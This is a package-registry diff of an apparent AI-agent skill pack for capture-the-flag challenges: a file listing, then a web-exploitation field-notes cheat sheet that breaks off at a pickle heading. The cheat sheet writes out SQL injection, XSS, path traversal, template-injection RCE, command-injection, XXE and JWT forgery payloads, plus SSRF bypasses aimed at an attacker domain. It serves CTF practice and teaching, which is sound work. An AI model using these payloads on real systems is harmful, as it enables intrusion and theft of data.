ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,482 @@
|
|
|
1
|
+
# CTF Web Field Notes
|
|
2
|
+
|
|
3
|
+
Long-form exploit notes that were moved out of `SKILL.md` so the main skill can stay focused on routing and first-pass execution.
|
|
4
|
+
|
|
5
|
+
## Table of Contents
|
|
6
|
+
|
|
7
|
+
- [Reconnaissance](#reconnaissance)
|
|
8
|
+
- [SQL Injection Quick Reference](#sql-injection-quick-reference)
|
|
9
|
+
- [XSS Quick Reference](#xss-quick-reference)
|
|
10
|
+
- [XSSI via JSONP Callback Exfiltration](#xssi-via-jsonp-callback-exfiltration)
|
|
11
|
+
- [Path Traversal / LFI Quick Reference](#path-traversal--lfi-quick-reference)
|
|
12
|
+
- [JWT Quick Reference](#jwt-quick-reference)
|
|
13
|
+
- [SSTI Quick Reference](#ssti-quick-reference)
|
|
14
|
+
- [Python str.format() Attribute Traversal (PlaidCTF 2017)](#python-strformat-attribute-traversal-plaidctf-2017)
|
|
15
|
+
- [SSRF Quick Reference](#ssrf-quick-reference)
|
|
16
|
+
- [Command Injection Quick Reference](#command-injection-quick-reference)
|
|
17
|
+
- [XXE Quick Reference](#xxe-quick-reference)
|
|
18
|
+
- [PHP Type Juggling Quick Reference](#php-type-juggling-quick-reference)
|
|
19
|
+
- [PHP File Inclusion / LFI Quick Reference](#php-file-inclusion--lfi-quick-reference)
|
|
20
|
+
- [Code Injection Quick Reference](#code-injection-quick-reference)
|
|
21
|
+
- [Java Deserialization](#java-deserialization)
|
|
22
|
+
- [Python Pickle Deserialization](#python-pickle-deserialization)
|
|
23
|
+
- [Race Conditions (Time-of-Check to Time-of-Use)](#race-conditions-time-of-check-to-time-of-use)
|
|
24
|
+
- [Node.js Quick Reference](#nodejs-quick-reference)
|
|
25
|
+
- [Auth & Access Control Quick Reference](#auth--access-control-quick-reference)
|
|
26
|
+
- [Apache CVE-2012-0053 HttpOnly Cookie Leak](#apache-cve-2012-0053-httponly-cookie-leak)
|
|
27
|
+
- [Apache mod_status Information Disclosure](#apache-mod_status-information-disclosure)
|
|
28
|
+
- [Open Redirect Chains](#open-redirect-chains)
|
|
29
|
+
- [Subdomain Takeover](#subdomain-takeover)
|
|
30
|
+
- [File Upload to RCE](#file-upload-to-rce)
|
|
31
|
+
- [Multi-Stage Chain Patterns](#multi-stage-chain-patterns)
|
|
32
|
+
- [Flask/Werkzeug Debug Mode](#flaskwerkzeug-debug-mode)
|
|
33
|
+
- [XXE with External DTD Filter Bypass](#xxe-with-external-dtd-filter-bypass)
|
|
34
|
+
- [JSFuck Decoding](#jsfuck-decoding)
|
|
35
|
+
- [DOM XSS via jQuery Hashchange (Crypto-Cat)](#dom-xss-via-jquery-hashchange-crypto-cat)
|
|
36
|
+
- [Shadow DOM XSS](#shadow-dom-xss)
|
|
37
|
+
- [DOM Clobbering + MIME Mismatch](#dom-clobbering--mime-mismatch)
|
|
38
|
+
- [HTTP Request Smuggling via Cache Proxy](#http-request-smuggling-via-cache-proxy)
|
|
39
|
+
- [Path Traversal: URL-Encoded Slash Bypass](#path-traversal-url-encoded-slash-bypass)
|
|
40
|
+
- [WeasyPrint SSRF & File Read (CVE-2024-28184)](#weasyprint-ssrf--file-read-cve-2024-28184)
|
|
41
|
+
- [MongoDB Regex / $where Blind Injection](#mongodb-regex--where-blind-injection)
|
|
42
|
+
- [Pongo2 / Go Template Injection](#pongo2--go-template-injection)
|
|
43
|
+
- [ZIP Upload with PHP Webshell](#zip-upload-with-php-webshell)
|
|
44
|
+
- [basename() Bypass for Hidden Files](#basename-bypass-for-hidden-files)
|
|
45
|
+
- [Custom Linear MAC Forgery](#custom-linear-mac-forgery)
|
|
46
|
+
- [CSS/JS Paywall Bypass](#cssjs-paywall-bypass)
|
|
47
|
+
- [SSRF to Docker API RCE Chain](#ssrf-to-docker-api-rce-chain)
|
|
48
|
+
- [Castor XML Deserialization via xsi:type (Atlas HTB)](#castor-xml-deserialization-via-xsitype-atlas-htb)
|
|
49
|
+
- [Apache ErrorDocument Expression File Read (Zero HTB)](#apache-errordocument-expression-file-read-zero-htb)
|
|
50
|
+
- [HTTP TRACE Method Bypass](#http-trace-method-bypass)
|
|
51
|
+
- [LLM/AI Chatbot Jailbreak](#llmai-chatbot-jailbreak)
|
|
52
|
+
- [Admin Bot javascript: URL Scheme Bypass](#admin-bot-javascript-url-scheme-bypass)
|
|
53
|
+
- [XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)](#xs-leak-via-image-load-timing--graphql-csrf-htb-grandmonty)
|
|
54
|
+
- [React Server Components Flight Protocol RCE (Ehax 2026)](#react-server-components-flight-protocol-rce-ehax-2026)
|
|
55
|
+
- [Unicode Case Folding XSS Bypass (UNbreakable 2026)](#unicode-case-folding-xss-bypass-unbreakable-2026)
|
|
56
|
+
- [CSS Font Glyph + Container Query Data Exfiltration (UNbreakable 2026)](#css-font-glyph--container-query-data-exfiltration-unbreakable-2026)
|
|
57
|
+
- [Hyperscript / Alpine.js CDN CSP Bypass (UNbreakable 2026)](#hyperscript--alpinejs-cdn-csp-bypass-unbreakable-2026)
|
|
58
|
+
- [Solidity Transient Storage Clearing Collision (0.8.28-0.8.33)](#solidity-transient-storage-clearing-collision-0828-0833)
|
|
59
|
+
- [Chrome Unicode URL Normalization Bypass (RCTF 2017)](#chrome-unicode-url-normalization-bypass-rctf-2017)
|
|
60
|
+
- [CSP Nonce Bypass via base Tag Hijacking (BSidesSF 2026)](#csp-nonce-bypass-via-base-tag-hijacking-bsidessf-2026)
|
|
61
|
+
- [JA4/JA4H TLS Fingerprint Matching (BSidesSF 2026)](#ja4ja4h-tls-fingerprint-matching-bsidessf-2026)
|
|
62
|
+
- [Client-Side HMAC Bypass via Leaked JS Secret (Codegate 2013)](#client-side-hmac-bypass-via-leaked-js-secret-codegate-2013)
|
|
63
|
+
- [SQLi Keyword Fragmentation Bypass (SecuInside 2013)](#sqli-keyword-fragmentation-bypass-secuinside-2013)
|
|
64
|
+
- [Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)](#pickle-chaining-via-stop-opcode-stripping-volgactf-2013)
|
|
65
|
+
- [XPath Blind Injection (BaltCTF 2013)](#xpath-blind-injection-baltctf-2013)
|
|
66
|
+
- [SQLite File Path Traversal to Bypass String Equality (Codegate 2013)](#sqlite-file-path-traversal-to-bypass-string-equality-codegate-2013)
|
|
67
|
+
- [PHP Serialization Length Manipulation via Filter Word Expansion (0CTF 2016)](#php-serialization-length-manipulation-via-filter-word-expansion-0ctf-2016)
|
|
68
|
+
- [CSP Bypass via link prefetch (Boston Key Party 2016)](#csp-bypass-via-link-prefetch-boston-key-party-2016)
|
|
69
|
+
- [XML Injection via X-Forwarded-For Header (Pwn2Win 2016)](#xml-injection-via-x-forwarded-for-header-pwn2win-2016)
|
|
70
|
+
- [Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)](#base64-decode-leniency-and-parameter-override-for-signature-bypass-bctf-2016)
|
|
71
|
+
- [Common Flag Locations](#common-flag-locations)
|
|
72
|
+
|
|
73
|
+
## Reconnaissance
|
|
74
|
+
|
|
75
|
+
- View source for HTML comments, check JS/CSS files for internal APIs
|
|
76
|
+
- Look for `.map` source map files
|
|
77
|
+
- Check response headers for custom X- headers and auth hints
|
|
78
|
+
- Common paths: `/robots.txt`, `/sitemap.xml`, `/.well-known/`, `/admin`, `/api`, `/debug`, `/.git/`, `/.env`
|
|
79
|
+
- Search JS bundles: `grep -oE '"/api/[^"]+"'` for hidden endpoints
|
|
80
|
+
- Check for client-side validation that can be bypassed
|
|
81
|
+
- Compare what the UI sends vs. what the API accepts (read JS bundle for all fields)
|
|
82
|
+
- Check assets returning 404 status — `favicon.ico`, `robots.txt` may contain data despite error codes: `strings favicon.ico | grep -i flag`
|
|
83
|
+
- Tor hidden services: `feroxbuster -u 'http://target.onion/' -w wordlist.txt --proxy socks5h://127.0.0.1:9050 -t 10 -x .txt,.html,.bak`
|
|
84
|
+
|
|
85
|
+
## SQL Injection Quick Reference
|
|
86
|
+
|
|
87
|
+
**Detection:** Send `'` — syntax error indicates SQLi
|
|
88
|
+
|
|
89
|
+
```sql
|
|
90
|
+
' OR '1'='1 # Classic auth bypass
|
|
91
|
+
' OR 1=1-- # Comment termination
|
|
92
|
+
username=\&password= OR 1=1-- # Backslash escape quote bypass
|
|
93
|
+
' UNION SELECT sql,2,3 FROM sqlite_master-- # SQLite schema
|
|
94
|
+
0x6d656f77 # Hex encoding for 'meow' (bypass quotes)
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
WAF bypasses: XML entity encoding (`UNION`), EXIF metadata injection (`exiftool -Comment="' UNION SELECT..."`), Shift-JIS `\u00a5`→`0x5c` backslash, QR code payload injection, double-keyword nesting (`selselectect`). See [sql-injection.md](sql-injection.md) for all techniques.
|
|
98
|
+
|
|
99
|
+
MySQL session variable dual-value injection: `@var:=` assigns return different values across sequential queries in one connection. PHP PCRE backtrack limit WAF bypass: 1M+ chars cause `preg_match()` to return `false`, passing `!false`. `information_schema.processlist` race condition leaks secrets from concurrent queries. See [sql-injection.md](sql-injection.md).
|
|
100
|
+
|
|
101
|
+
See [server-side-exec.md](server-side-exec.md) for PHP preg_replace /e RCE and Prolog injection. See [server-side-exec-2.md](server-side-exec-2.md) for SQLi via DNS records and SQLi keyword fragmentation.
|
|
102
|
+
|
|
103
|
+
## XSS Quick Reference
|
|
104
|
+
|
|
105
|
+
```html
|
|
106
|
+
<script>alert(1)</script>
|
|
107
|
+
<img src=x onerror=alert(1)>
|
|
108
|
+
<svg onload=alert(1)>
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
Filter bypass: hex `\x3cscript\x3e`, entities `<script>`, case mixing `<ScRiPt>`, event handlers.
|
|
112
|
+
- **XSS dot-filter bypass:** Decimal IP (`1558071511` = `92.123.45.67`) eliminates dots from URLs. JavaScript bracket notation (`document["cookie"]`) replaces dot property access. See [client-side-advanced.md](client-side-advanced.md#xss-dot-filter-bypass-via-decimal-ip-and-bracket-notation-33c3-ctf-2016).
|
|
113
|
+
- **Cross-origin cookie XSS:** Set cookie with `domain=.parent.tld` from one subdomain to inject XSS payload rendered on a sibling subdomain. See [client-side-advanced.md](client-side-advanced.md#cross-origin-xss-via-shared-parent-domain-cookie-injection-0ctf-2017).
|
|
114
|
+
- **AngularJS 1.x sandbox escape:** Override `String.prototype.charAt` with `trim` to bypass AngularJS expression sandbox, then `$eval` arbitrary JS. See [client-side.md](client-side.md#angularjs-1x-sandbox-escape-via-charattrim-override-google-ctf-2017).
|
|
115
|
+
|
|
116
|
+
See [client-side.md](client-side.md) for DOMPurify bypass, cache poisoning, CSPT, React input tricks.
|
|
117
|
+
|
|
118
|
+
## XSSI via JSONP Callback Exfiltration
|
|
119
|
+
|
|
120
|
+
JSONP endpoint (`?callback=func`) wraps sensitive data in a function call. Load cross-origin via `<script src>` with custom callback to exfiltrate. Chain: SHA1 cookie inversion -> IDOR on debug endpoint -> XSSI -> cloud function OOB. See [client-side-advanced.md](client-side-advanced.md#xssi-via-jsonp-callback-with-cloud-function-exfiltration-bsidessf-2026).
|
|
121
|
+
|
|
122
|
+
## Path Traversal / LFI Quick Reference
|
|
123
|
+
|
|
124
|
+
```text
|
|
125
|
+
../../../etc/passwd
|
|
126
|
+
....//....//....//etc/passwd # Filter bypass
|
|
127
|
+
..%2f..%2f..%2fetc/passwd # URL encoding
|
|
128
|
+
%252e%252e%252f # Double URL encoding
|
|
129
|
+
{.}{.}/flag.txt # Brace stripping bypass
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
**Windows 8.3 short filename bypass:** `FILEFO~1.EXT` short names bypass path filters that check the long filename. See [server-side-advanced-2.md](server-side-advanced-2.md#windows-83-short-filename-path-traversal-bypass-tokyo-westerns-2016).
|
|
133
|
+
|
|
134
|
+
**URL parse_url @ bypass:** `http://valid@attacker.com/` -- PHP `parse_url()` extracts `attacker.com` as host, bypassing domain checks. See [server-side-advanced-2.md](server-side-advanced-2.md#url-parse_url--symbol-bypass-ekoparty-ctf-2016).
|
|
135
|
+
- **SSRF double-@ parse discrepancy:** `http://x:x@127.0.0.1:80@allowed.host/path` — `parse_url()` sees `allowed.host`, curl connects to `127.0.0.1`. Distinct from single-@ bypass. See [server-side-advanced-2.md](server-side-advanced-2.md#ssrf-via-parse_urlcurl-url-parsing-discrepancy-33c3-ctf-2016).
|
|
136
|
+
|
|
137
|
+
**/dev/fd symlink bypass:** When `/proc` is blacklisted, use `/dev/fd/../environ` -- `/dev/fd` symlinks to `/proc/self/fd`, so `../` reaches `/proc/self/`. See [server-side-advanced.md](server-side-advanced.md#devfd-symlink-to-bypass-proc-filter-google-ctf-2017).
|
|
138
|
+
|
|
139
|
+
**Python footgun:** `os.path.join('/app/public', '/etc/passwd')` returns `/etc/passwd`
|
|
140
|
+
|
|
141
|
+
## JWT Quick Reference
|
|
142
|
+
|
|
143
|
+
1. `alg: none` — remove signature entirely
|
|
144
|
+
2. Algorithm confusion (RS256→HS256) — sign with public key
|
|
145
|
+
3. Weak secret — brute force with hashcat/flask-unsign
|
|
146
|
+
4. Key exposure — check `/api/getPublicKey`, `.env`, `/debug/config`
|
|
147
|
+
5. Balance replay — save JWT, spend, replay old JWT, return items for profit
|
|
148
|
+
6. Unverified signature — modify payload, keep original signature
|
|
149
|
+
7. JWK header injection — embed attacker public key in token header
|
|
150
|
+
8. JKU header injection — point to attacker-controlled JWKS URL
|
|
151
|
+
9. KID path traversal — `../../../dev/null` for empty key, or SQL injection in KID
|
|
152
|
+
|
|
153
|
+
See [auth-jwt.md](auth-jwt.md) for full JWT/JWE attacks and session manipulation.
|
|
154
|
+
|
|
155
|
+
## SSTI Quick Reference
|
|
156
|
+
|
|
157
|
+
**Detection:** `{{7*7}}` returns `49`
|
|
158
|
+
|
|
159
|
+
```python
|
|
160
|
+
# Jinja2 RCE
|
|
161
|
+
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
|
|
162
|
+
# Go template
|
|
163
|
+
{{.ReadFile "/flag.txt"}}
|
|
164
|
+
# EJS
|
|
165
|
+
<%- global.process.mainModule.require('child_process').execSync('id') %>
|
|
166
|
+
# Jinja2 quote bypass (keyword args):
|
|
167
|
+
{{obj.__dict__.update(attr=value) or obj.name}}
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
**Mako SSTI (Python):** `${__import__('os').popen('id').read()}` — no sandbox, plain Python inside `${}` or `<% %>`. **Twig SSTI (PHP):** `{{['id']|map('system')|join}}` — distinguish from Jinja2 via `{{7*'7'}}` (Twig repeats string, Jinja2 returns 49). See [server-side.md](server-side.md#mako-ssti) and [server-side.md](server-side.md#twig-ssti).
|
|
171
|
+
|
|
172
|
+
**Quote filter bypass:** Use `__dict__.update(key=value)` — keyword arguments need no quotes. See [server-side.md](server-side.md#ssti-quote-filter-bypass-via-__dict__update-apoorvctf-2026).
|
|
173
|
+
|
|
174
|
+
**ERB SSTI (Ruby/Sinatra):** `<%= Sequel::DATABASES.first[:table].all %>` bypasses ERBSandbox variable-name restrictions via the global `Sequel::DATABASES` array. See [server-side.md](server-side.md#erb-ssti--sequeldatabases-bypass-bearcatctf-2026).
|
|
175
|
+
|
|
176
|
+
## Python str.format() Attribute Traversal (PlaidCTF 2017)
|
|
177
|
+
|
|
178
|
+
Python `str.format()` allows dot-notation attribute traversal (`{0.attr.subattr}`) and bracket indexing (`{0[key]}`). When user input reaches `.format(obj)`, leak arbitrary attributes without a template engine. Distinct from SSTI. See [server-side.md](server-side.md#python-strformat-attribute-traversal-plaidctf-2017).
|
|
179
|
+
|
|
180
|
+
**Thymeleaf SpEL SSTI (Java/Spring):** `${T(org.springframework.util.FileCopyUtils).copyToByteArray(new java.io.File("/flag.txt"))}` reads files via Spring utility classes when standard I/O is WAF-blocked. Works in distroless containers (no shell). See [server-side-exec.md](server-side-exec.md#thymeleaf-spel-ssti--spring-filecopyutils-waf-bypass-apoorvctf-2026).
|
|
181
|
+
|
|
182
|
+
## SSRF Quick Reference
|
|
183
|
+
|
|
184
|
+
```text
|
|
185
|
+
127.0.0.1, localhost, 127.1, 0.0.0.0, [::1]
|
|
186
|
+
127.0.0.1.nip.io, 2130706433, 0x7f000001
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
DNS rebinding for TOCTOU: https://lock.cmpxchg8b.com/rebinder.html
|
|
190
|
+
|
|
191
|
+
**Host header SSRF:** Server builds internal request URL from `Host` header (e.g., `http.Get("http://" + request.Host + "/validate")`). Set Host to attacker domain → validation request goes to attacker server. See [server-side.md](server-side.md#host-header-ssrf-mireactf).
|
|
192
|
+
|
|
193
|
+
**ElasticSearch Groovy RCE via SSRF:** SSRF to internal ES on port 9200 enables RCE through `script_fields` Groovy scripting (pre-5.0). See [server-side-advanced-2.md](server-side-advanced-2.md#elasticsearch-groovy-script_fields-rce-via-ssrf-volgactf-2017).
|
|
194
|
+
|
|
195
|
+
## Command Injection Quick Reference
|
|
196
|
+
|
|
197
|
+
```bash
|
|
198
|
+
; id | id `id` $(id)
|
|
199
|
+
%0aid # Newline 127.0.0.1%0acat /flag
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
When cat/head blocked: `sed -n p flag.txt`, `awk '{print}'`, `tac flag.txt`
|
|
203
|
+
|
|
204
|
+
**Bash brace expansion (space-free injection):** `{ls,-la,..}` expands to `ls -la ..` without literal spaces. See [server-side-exec-2.md](server-side-exec-2.md#bash-brace-expansion-for-space-free-command-injection-insomnihack-2016).
|
|
205
|
+
|
|
206
|
+
**Git CLI newline injection:** `%0a` in URL path breaks out of backtick/system() shell calls that only filter `;|&<>`. See [server-side.md](server-side-2.md#git-cli-newline-injection-via-url-path-bsidessf-2026).
|
|
207
|
+
|
|
208
|
+
## XXE Quick Reference
|
|
209
|
+
|
|
210
|
+
```xml
|
|
211
|
+
<?xml version="1.0"?>
|
|
212
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
213
|
+
<root>&xxe;</root>
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
PHP filter: `<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">`
|
|
217
|
+
|
|
218
|
+
**XXE in DOCX uploads:** DOCX is ZIP+XML; inject XXE in `[Content_Types].xml` inside the archive. See [server-side.md](server-side-2.md#xxe-via-docxoffice-xml-upload-school-ctf-2016).
|
|
219
|
+
|
|
220
|
+
## PHP Type Juggling Quick Reference
|
|
221
|
+
|
|
222
|
+
Loose `==` performs type coercion: `0 == "string"` is `true`, `"0e123" == "0e456"` is `true` (magic hashes). Send JSON integer `0` to bypass string password checks. `strcmp([], "str")` returns `NULL` which passes `!strcmp()`. Use `===` for defense.
|
|
223
|
+
|
|
224
|
+
See [server-side.md](server-side.md#php-type-juggling) for comparison table and exploit payloads.
|
|
225
|
+
|
|
226
|
+
## PHP File Inclusion / LFI Quick Reference
|
|
227
|
+
|
|
228
|
+
`php://filter/convert.base64-encode/resource=config` leaks PHP source code without execution. Common LFI targets: `/etc/passwd`, `/proc/self/environ`, app config files. Null byte (`%00`) truncates `.php` suffix on PHP < 5.3.4.
|
|
229
|
+
|
|
230
|
+
See [server-side.md](server-side.md#php-file-inclusion--phpfilter) for filter chains and RCE techniques.
|
|
231
|
+
|
|
232
|
+
## Code Injection Quick Reference
|
|
233
|
+
|
|
234
|
+
**Ruby `instance_eval`:** Break string + comment: `VALID');INJECTED_CODE#`
|
|
235
|
+
**Perl `open()`:** 2-arg open allows pipe: `|command|`
|
|
236
|
+
**JS eval blocklist bypass:** `row['con'+'structor']['con'+'structor']('return this')()`
|
|
237
|
+
**PHP deserialization:** Craft serialized object in cookie → LFI/RCE
|
|
238
|
+
**LaTeX injection:** `\input{|"cat /flag.txt"}` — shell command via pipe syntax in PDF generation services. `\@@input"/etc/passwd"` for file reads without shell.
|
|
239
|
+
- **LaTeX restricted write18 bypass:** When `write18` is restricted, `mpost -ini "-tex=bash -c (cmd)" file.mp` uses mpost's whitelisted status to execute arbitrary commands. `${IFS}` replaces spaces. See [server-side-advanced-2.md](server-side-advanced-2.md#latex-rce-via-mpost-restricted-write18-bypass-33c3-ctf-2016).
|
|
240
|
+
|
|
241
|
+
**PHP backtick eval (character limit):** `` echo`cat *`; `` -- PHP backticks = `shell_exec()`, fits RCE in as few as 8 chars. Use `` `$_GET[0]`; `` to move payload to URL parameter. See [server-side-exec.md](server-side-exec.md#php-backtick-eval-under-character-limit-easyctf-2017).
|
|
242
|
+
**PHP assert() injection:** `assert("strpos('$input', '..') === false")` — inject `') || system('cmd');//` for RCE (PHP < 7.2). See [server-side-exec.md](server-side-exec.md#php-assert-string-evaluation-injection-csaw-ctf-2016).
|
|
243
|
+
**Common Lisp `read` injection:** `#.(run-shell-command "cat /flag")` — reader macro evaluates at parse time. See [server-side-exec-2.md](server-side-exec-2.md#common-lisp-injection-via-reader-macro-insomnihack-2016).
|
|
244
|
+
**Ruby ObjectSpace scanning:** `ObjectSpace.each_object(String)` dumps all in-memory strings including flag. See [server-side-exec.md](server-side-exec.md#ruby-objectspace-memory-scanning-for-flag-extraction-tokyo-westerns-2016).
|
|
245
|
+
|
|
246
|
+
See [server-side-exec.md](server-side-exec.md) for full payloads and bypass techniques.
|
|
247
|
+
|
|
248
|
+
## Java Deserialization
|
|
249
|
+
|
|
250
|
+
Serialized Java objects (`rO0AB` / `aced0005`) + ysoserial gadget chains → RCE via `ObjectInputStream.readObject()`. Try `CommonsCollections1-7`, `URLDNS` for blind detection. See [server-side-deser.md](server-side-deser.md#java-deserialization-ysoserial).
|
|
251
|
+
|
|
252
|
+
## Python Pickle Deserialization
|
|
253
|
+
|
|
254
|
+
